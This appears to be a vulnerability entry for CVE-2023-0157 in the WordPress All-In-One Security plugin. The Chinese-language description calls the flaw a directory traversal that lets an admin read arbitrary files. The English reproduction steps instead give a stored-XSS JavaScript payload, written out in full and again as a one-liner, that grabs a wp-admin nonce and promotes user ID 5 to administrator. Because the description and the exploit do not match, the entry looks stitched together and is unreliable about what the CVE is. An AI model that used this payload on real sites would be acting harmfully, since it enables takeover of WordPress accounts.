CVE ID: CVE-2023-0157
漏洞类型: 目录遍历
描述: 用于 WordPress 的 All-In-One Security (AIOS) 插件在版本 5.1.4 及之前版本中存在目录遍历漏洞。这使得经过身份验证且具有管理员权限的攻击者能够读取服务器上任意文件的内容。
复现步骤:
Just create a test.pdf file with JavaScript content (necessarily in one line) and display the file in the Host system logs.
An example of a JavaScript payload increasing the privileges of a user with ID 5
<script>
fetch("https://<host>/wp-admin/users.php?update=promote")
.then(function(response) {
return response.text()
})
.then(function(html) {
var parser = new DOMParser();
var doc = parser.parseFromString(html, "text/html");
return doc.querySelector("#_wpnonce").value;
})
.then(function(nonce) {
fetch("https://<host>/wp-admin/users.php?s=&_wpnonce=" + nonce + "&_wp_http_referer=%2Fwp-admin%2Fusers.php&action=-1&new_role=administrator&changeit=Zmie%C5%84&paged=1&users%5B%5D=5&action2=-1&new_role2=administrator")
.then(function(response) {
console.log(response.text());
})
.catch(function(err) {
console.log('Failed to fetch page: ', err);
});
})
.catch(function(err) {
console.log('Failed to fetch page: ', err);
});
</script>
Oneliner:
fetch("https://<host>/wp-admin/users.php?update=promote").then(function(response) {return response.text()}).then(function(html) {var parser = new DOMParser();var doc = parser.parseFromString(html, "text/html");return doc.querySelector("#_wpnonce").value;}).then(function(nonce) {fetch("https://<host>/wp-admin/users.php?s=&_wpnonce=" + nonce + "&_wp_http_referer=%2Fwp-admin%2Fusers.php&action=-1&new_role=administrator&changeit=Zmie%C5%84&paged=1&users%5B%5D=5&action2=-1&new_role2=administrator").then(function(response) {console.log(response.text());}).catch(function(err) {console.log('Failed to fetch page: ', err); });}).catch(function(err) {console.log('Failed to fetch page: ', err);});
Replace values with <> signs.
